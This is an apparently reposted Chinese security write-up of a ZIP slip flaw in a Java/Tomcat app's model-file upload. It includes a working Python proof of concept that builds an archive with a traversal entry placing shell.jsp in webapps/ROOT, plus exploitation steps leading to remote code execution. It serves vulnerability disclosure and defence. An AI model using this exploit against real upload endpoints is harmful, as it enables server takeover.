文章总结: 本文分析了JavaWeb应用中的ZIP滑移漏洞。攻击者通过上传构造的ZIP文件,利用路径遍历序列将恶意JSP文件解压至Tomcat的webapps目录,从而绕过安全检查导致远程命令执行。文章提供了详细的漏洞原理及PythonPoC代码,建议在解压文件时严格校验文件路径以防止目录遍历攻击。 综合评分: 89 文章分类: 漏洞分析,WEB安全,漏洞POC,安全开发,渗透测试
0113.Java 应用程序中的 ZIP 滑移导致远程命令执行
原创
Abdelnour Osman
Rsec
2026年1月6日 21:45 贵州
本文章仅用网络安全研究学习,请勿使用相关技术进行违法犯罪活动。
声明:本文搬运自互联网,如你是原作者,请联系我们!
类型:ZIP目录遍历
在对基于 Java 的 Web 应用程序进行灰盒安全评估时,我发现了一个允许用户导出和导入应用程序模型的功能。该功能支持下载和上传扩展名为“.mdcs”的模型文件。在分析此功能时,我重点关注了应用程序如何处理上传的文件,因为对归档或序列化数据格式处理不当通常会带来安全风险。
分析
#
在测试应用程序时,我们发现该应用程序接受扩展名为 .mdcs 的文件上传,这些文件本质上是 ZIP 压缩包。应用程序在处理这些文件之前会执行基本的扩展名检查。
PS:本报告中引用的代码片段仅用于模拟目的,并不代表实际的生产源代码。
文件扩展名检查
验证通过后,应用程序会在 Tomcat 的临时目录下创建一个临时目录,将 mdcs (ZIP)文件的内容解压到该目录中,然后尝试从解压后的数据中读取特定文件(metadata.json)。处理完成后,该临时目录将被删除。
将模型文件解压到临时目录
乍一看,这种设计似乎很安全,因为临时目录位于 Tomcat webapps 目录之外,这意味着任意上传的文件无法通过 Web 服务器直接访问。然而,这种假设存在缺陷,因为存在众所周知的 ZIP 滑移漏洞。
开发
在默认的 Tomcat 安装中,临时目录遵循以下结构:
C:\tomcat\temp\mdcs_<random_string>\
该应用程序使用 ZipInputStream(或类似 API)提取文件,但并未正确验证压缩包内的文件路径。这使得精心构造的 ZIP 文件可以包含路径遍历序列(例如,../../)的条目。攻击者可以利用此漏洞,使应用程序将文件提取到预期临时目录之外。
例如,通过将恶意 JSP 文件(shell.jsp)嵌入到 ZIP 存档中,并将该条目命名为:
../../webapps/ROOT/shell.jsp
该文件将被解压到已部署的 Tomcat 应用程序目录中。一旦上传并处理完毕,攻击者即可通过 Web 服务器访问 JSP 文件,从而有效地实现远程代码执行 (RCE) 。
概念验证(PoC)
下面这个简单的 Python 脚本会生成一个包含恶意载荷的 ZIP 文件:
import zipfileimport os
def create_zip(payload_path, output_zip): with zipfile.ZipFile(output_zip, 'w') as zipf: with open(payload_path, 'rb') as f: payload = f.read()
zi = zipfile.ZipInfo("../../webapps/ROOT/shell.jsp") zipf.writestr(zi, payload)
if __name__ == "__main__": create_zip("shell.jsp", "exploit.mdcs") print("[+] Malicious MDCS created: exploit.mdcs")
利用流程
- 攻击者使用上述脚本生成恶意模型文件 MDCS (ZIP)。
- 将 MDCS 文件上传到应用程序。
- 存在漏洞的提取逻辑会将“ shell.jsp ”放置到“ webapps/ROOT/ ” 或“ webapps/app-name/ ”中。
- 攻击者访问 http://target/shell.jsp 或 http://target/app-name/shell.jsp 以执行任意命令。
这将导致目标服务器上的远程代码完全执行(RCE)。
利用结果
#
结论
已发现的漏洞表明,文件提取过程中验证不足会导致严重的安全风险。攻击者利用 .mdcs 文件上传功能发起的 ZIP 滑移攻击,可以遍历目录并将任意文件放置到 Tomcat 环境中的敏感位置。这最终导致恶意 JSP 文件执行,从而实现完全远程代码执行 (RCE) 。
感谢您耐心读到这里。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Rsec Abdelnour Osman《0113.Java 应用程序中的 ZIP 滑移导致远程命令执行》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论